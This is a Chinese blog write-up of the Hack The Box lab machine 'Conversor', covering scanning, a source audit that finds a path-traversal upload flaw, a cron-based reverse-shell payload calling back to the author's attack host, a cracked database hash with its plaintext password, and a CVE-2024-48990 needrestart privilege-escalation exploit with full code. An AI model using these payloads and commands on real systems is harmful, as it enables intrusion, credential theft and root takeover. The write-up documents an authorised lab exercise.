HTB靶机 Conversor 渗透测试记录

misaka19008 发布于 2025-10-26 134 次阅读 2853 字



目标信息

IP地址:10.129.219.14(非固定IP地址)


信息收集

ICMP检测

PING 10.129.118.205 (10.129.118.205) 56(84) bytes of data.
64 bytes from 10.129.118.205: icmp_seq=1 ttl=63 time=319 ms
64 bytes from 10.129.118.205: icmp_seq=2 ttl=63 time=428 ms
64 bytes from 10.129.118.205: icmp_seq=3 ttl=63 time=350 ms
64 bytes from 10.129.118.205: icmp_seq=4 ttl=63 time=372 ms

--- 10.129.118.205 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3003ms
rtt min/avg/max/mdev = 319.404/367.336/428.195/39.803 ms

攻击机和靶机间网络连接正常。

防火墙检测

# Nmap 7.95 scan initiated Sun Oct 26 07:13:00 2025 as: /usr/lib/nmap/nmap -sF -p- --min-rate 3000 -oN fin_result.txt 10.129.118.205
Nmap scan report for 10.129.118.205
Host is up (0.33s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE         SERVICE
22/tcp open|filtered ssh
80/tcp open|filtered http

# Nmap done at Sun Oct 26 07:13:35 2025 -- 1 IP address (1 host up) scanned in 34.95 seconds

靶机疑似开放了22/tcp80/tcp端口。

网络端口扫描

TCP端口扫描结果

# Nmap 7.95 scan initiated Sun Oct 26 07:17:15 2025 as: /usr/lib/nmap/nmap -sT -sV -A -p- --min-rate 3000 -oN tcp_result.txt 10.129.118.205
Nmap scan report for 10.129.118.205
Host is up (0.29s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 01:74:26:39:47:bc:6a:e2:cb:12:8b:71:84:9c:f8:5a (ECDSA)
|_  256 3a:16:90:dc:74:d8:e3:c4:51:36:e2:08:06:26:17:ee (ED25519)
80/tcp open  http    Apache httpd 2.4.52
|_http-title: Did not follow redirect to http://conversor.htb/
|_http-server-header: Apache/2.4.52 (Ubuntu)
Device type: general purpose|router
Running: Linux 4.X|5.X, MikroTik RouterOS 7.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3
OS details: Linux 4.15 - 5.19, MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3)
Network Distance: 2 hops
Service Info: Host: conversor.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using proto 1/icmp)
HOP RTT       ADDRESS
1   320.14 ms 10.10.14.1
2   320.15 ms 10.129.118.205

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Oct 26 07:18:24 2025 -- 1 IP address (1 host up) scanned in 69.16 seconds

UDP端口开放列表扫描结果

# Nmap 7.95 scan initiated Sun Oct 26 07:39:10 2025 as: /usr/lib/nmap/nmap -sU -p- --min-rate 3000 -oN udp_ports.txt 10.129.118.205
Warning: 10.129.118.205 giving up on port because retransmission cap hit (10).
Nmap scan report for 10.129.118.205
Host is up (0.40s latency).
All 65535 scanned ports on 10.129.118.205 are in ignored states.
Not shown: 65284 open|filtered udp ports (no-response), 251 closed udp ports (port-unreach)

# Nmap done at Sun Oct 26 07:43:24 2025 -- 1 IP address (1 host up) scanned in 254.02 seconds

UDP端口详细信息扫描结果

(无)

同时发现靶机运行Ubuntu Linux操作系统,开放了22/ssh80/http服务,主域名为converson.htb


服务探测

SSH服务(22端口)

尝试连接SSH服务获取登录方法信息:

ssh root@converson.htb

发现靶机SSH服务允许使用密钥和密码两种方式登录。

HTTP服务(80端口)

打开主页:http://conversor.htb/,发现直接跳转至登录页面/login

发现登录页上存在链接Register,点击后跳转至了注册页面:

除此之外,未在页面上发现任何信息。尝试扫描目录:

dirsearch -u http://conversor.htb -x 400,404 -t 70 -e php,py,pyc,js,html,txt,zip,tar.gz,xml,json.pdf,pcap,config -w /usr/share/wordlists/wfuzz/general/megabeast.txt

发现站点还存在一个API接口/convert和说明页面/about。首先访问http://conversor.htb/about

成功发现页面上留下了三名开发人员的个人信息,以及站点源代码下载按钮Download Source Code(实际指向链接http://conversor.htb/static/source_code.tar.gz)。直接点击下载压缩包:

成功获取站点源代码!


渗透测试

Python站点源代码审计

在服务探测过程中,我们已经成功下载了靶机站点的源代码,现在直接解压压缩包进行审计。

首先查看说明文档install.md

To deploy Conversor, we can extract the compressed file:

"""
tar -xvf source_code.tar.gz
"""

We install flask:

"""
pip3 install flask
"""

We can run the app.py file:

"""
python3 app.py
"""

You can also run it with Apache using the app.wsgi file.

If you want to run Python scripts (for example, our server deletes all files older than 60 minutes to avoid system overload), you can add the following line to your /etc/crontab.

"""
* * * * * www-data for f in /var/www/conversor.htb/scripts/*.py; do python3 "$f"; done
"""

文档描述称,站点服务器存在每一个小时删除指定位置文件的计划任务,同时还在末尾处给出了计划任务配置示例,该示例意为每一秒将/var/www/conversor.htb/scripts/目录下的Python脚本全部执行一遍。

怀疑该计划任务配置真实存在于站点服务器上,继续审计主程序app.py

from flask import Flask, render_template, request, redirect, url_for, session, send_from_directory
import os, sqlite3, hashlib, uuid

app = Flask(__name__)
app.secret_key = 'Changemeplease'

BASE_DIR = os.path.dirname(os.path.abspath(__file__))
DB_PATH = '/var/www/conversor.htb/instance/users.db'
UPLOAD_FOLDER = os.path.join(BASE_DIR, 'uploads')
os.makedirs(UPLOAD_FOLDER, exist_ok=True)

def init_db():
    os.makedirs(os.path.join(BASE_DIR, 'instance'), exist_ok=True)
    conn = sqlite3.connect(DB_PATH)
    c = conn.cursor()
    c.execute('''CREATE TABLE IF NOT EXISTS users (
        id INTEGER PRIMARY KEY AUTOINCREMENT,
        username TEXT UNIQUE,
        password TEXT
    )''')
    c.execute('''CREATE TABLE IF NOT EXISTS files (
        id TEXT PRIMARY KEY,
        user_id INTEGER,
        filename TEXT,
        FOREIGN KEY(user_id) REFERENCES users(id)
    )''')
    conn.commit()
    conn.close()

init_db()

def get_db():
    conn = sqlite3.connect(DB_PATH)
    conn.row_factory = sqlite3.Row
    return conn

@app.route('/')
def index():
    if 'user_id' not in session:
        return redirect(url_for('login'))
    conn = get_db()
    cur = conn.cursor()
    cur.execute("SELECT * FROM files WHERE user_id=?", (session['user_id'],))
    files = cur.fetchall()
    conn.close()
    return render_template('index.html', files=files)

@app.route('/register', methods=['GET','POST'])
def register():
    if request.method == 'POST':
        username = request.form['username']
        password = hashlib.md5(request.form['password'].encode()).hexdigest()
        conn = get_db()
        try:
            conn.execute("INSERT INTO users (username,password) VALUES (?,?)", (username,password))
            conn.commit()
            conn.close()
            return redirect(url_for('login'))
        except sqlite3.IntegrityError:
            conn.close()
            return "Username already exists"
    return render_template('register.html')
@app.route('/logout')
def logout():
    session.clear()
    return redirect(url_for('login'))

@app.route('/about')
def about():
 return render_template('about.html')

@app.route('/login', methods=['GET','POST'])
def login():
    if request.method == 'POST':
        username = request.form['username']
        password = hashlib.md5(request.form['password'].encode()).hexdigest()
        conn = get_db()
        cur = conn.cursor()
        cur.execute("SELECT * FROM users WHERE username=? AND password=?", (username,password))
        user = cur.fetchone()
        conn.close()
        if user:
            session['user_id'] = user['id']
            session['username'] = username
            return redirect(url_for('index'))
        else:
            return "Invalid credentials"
    return render_template('login.html')

@app.route('/convert', methods=['POST'])
def convert():
    if 'user_id' not in session:
        return redirect(url_for('login'))
    xml_file = request.files['xml_file']
    xslt_file = request.files['xslt_file']
    from lxml import etree
    xml_path = os.path.join(UPLOAD_FOLDER, xml_file.filename)
    xslt_path = os.path.join(UPLOAD_FOLDER, xslt_file.filename)
    xml_file.save(xml_path)
    xslt_file.save(xslt_path)
    try:
        parser = etree.XMLParser(resolve_entities=False, no_network=True, dtd_validation=False, load_dtd=False)
        xml_tree = etree.parse(xml_path, parser)
        xslt_tree = etree.parse(xslt_path)
        transform = etree.XSLT(xslt_tree)
        result_tree = transform(xml_tree)
        result_html = str(result_tree)
        file_id = str(uuid.uuid4())
        filename = f"{file_id}.html"
        html_path = os.path.join(UPLOAD_FOLDER, filename)
        with open(html_path, "w") as f:
            f.write(result_html)
        conn = get_db()
        conn.execute("INSERT INTO files (id,user_id,filename) VALUES (?,?,?)", (file_id, session['user_id'], filename))
        conn.commit()
        conn.close()
        return redirect(url_for('index'))
    except Exception as e:
        return f"Error: {e}"

@app.route('/view/<file_id>')
def view_file(file_id):
    if 'user_id' not in session:
        return redirect(url_for('login'))
    conn = get_db()
    cur = conn.cursor()
    cur.execute("SELECT * FROM files WHERE id=? AND user_id=?", (file_id, session['user_id']))
    file = cur.fetchone()
    conn.close()
    if file:
        return send_from_directory(UPLOAD_FOLDER, file['filename'])
    return "File not found"

通读站点代码,发现API接口/convert存在任意文件上传漏洞。在convert()方法开头9行,即程序第94 - 102行处,接口未对上传文件名称进行危险字符检查,而且在调用lxml类库相关方法对文件内容进行格式验证前,就使用os.path.join()方法将上传目录文本变量UPLOAD_PATH和原始上传文件名拼接在了一起,导致攻击者可以利用目录穿越字符../进行任意文件跨目录上传攻击。

任意文件上传配合计划任务泄露利用

通过源代码审计,我们已经发现站点XML文件格式转换功能存在严重跨目录文件上传漏洞,以及靶机很可能存在定时执行/var/www/conversor.htb/scripts/目录下Python脚本文件的情况,现在尝试注册账号,上传反弹Shell脚本程序进行利用。

首先访问网址http://conversor.htb/register,注册新账号,随后登录:

接着编写添加反弹Shell计划任务的恶意Python脚本:

#!/usr/bin/python3
import os
os.system('''echo "*/1 * * * * /bin/bash -c 'bash -i >& /dev/tcp/10.10.14.3/443 0>&1'" | crontab''')

随后选择该脚本作为XMLXSLT文件,打开BurpSuite代理,点击Convert按钮上传,捕获网络请求包:

将请求包发送到Repeater,编辑两个filename文件名参数,使文件实际上传路径变为/var/www/conversor.htb/scripts/misaka19008.py

../../../../../../../var/www/conversor.htb/scripts/misaka19008.py

随后在本地启动netcat监听:

rlwrap nc -l -p 443 -s 10.10.14.3

接着发送请求包,然后等待一会儿:

成功收到反弹Shell!!


权限提升

破解SQLite内用户密码

进入系统后,发现站点数据库路径为/var/www/conversor.htb/instance/users.db

直接下载SQLite数据库到本地:

scp -P 22222 /var/www/conversor.htb/instance/users.db misaka19008@10.10.14.3:/home/misaka19008/Documents/pentest_notes/conversor/users.db

随后打开数据库users表:

成功发现站点内存在fismathack用户哈希为5b5c3ac3a1c897c94caad48e6c71fdec,和操作系统用户重名:

直接使用hashcat工具破解:

hashcat -m 0 -a 0 "5b5c3ac3a1c897c94caad48e6c71fdec" /usr/share/wordlists/rockyou.txt --force

成功发现系统用户凭据:

  • 用户名:fismathack
  • 密码:Keepmesafeandwarm

直接使用SSH登录:

ssh fismathack@conversor.htb

成功移动至较高权限用户!!

Sudo程序漏洞利用提权

登录fismathack用户后,尝试使用sudo -l 命令查看当前用户Sudo权限:

发现当前用户可以root用户身份免密运行/usr/sbin/needrestart程序,经联网查询,发现该程序的功能为系统进行APT更新后检查需要进行重新启动的服务。检查该程序的版本:

needrestart -v

发现版本为needrestart v3.7,联网查询该程序漏洞:Ubuntu needrestart权限提升漏洞(CVE-2024-48990)漏洞分析-先知社区

发现needrestart v3.7存在权限提升漏洞,编号为CVE-2024-48990

直接按照文章描述进行漏洞利用。首先编写恶意Linux扩展支持库源代码__init__.c

#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>

static void a() __attribute__((constructor));

void a() {
 setuid(0);
 setgid(0);
 const char *shell = "cp /bin/sh /tmp/poc; chmod u+s /tmp/poc &";
 system(shell);
}

随后将其在攻击机上静态编译,并上传至/home/fismathack/importlib/目录下(如目录不存在则创建):

gcc -shared -fPIC -o __init__.so __init__.c
scp -P 22 __init__.so fismathack@10.129.120.57:/home/fismathack/importlib/__init__.so

接着在靶机上编写触发SUID BashPython脚本exp.py

#!/usr/bin/python3
import os
import time

if os.path.exists("/tmp/poc"):
    os.remove('/tmp/poc')
while True:
    if os.path.exists("/tmp/poc"):
        print('Got the shell!')
        os.system('/tmp/poc -p')
        break
    time.sleep(0.2)

以及监听器启动脚本exp.sh

#!/bin/bash
set -e
PYTHONPATH="$PWD" python3 exp.py

exp.shexp.py赋予执行权限后,执行exp.sh

./exp.sh

最后重新打开一个SSH连接,在新打开的连接中使用needrestart启动服务检查:

ssh fismathack@conversor.htb
sudo needrestart

成功执行EUIDrootSUID Bash!执行如下命令重置root密码:

python3 -c "import os;os.setuid(0);os.setgid(0);os.system('passwd root')"

随后在新连接中切换用户至root

su -

提权成功!!!!


本次靶机渗透到此结束


此作者没有提供个人介绍。
最后更新于 2025-12-29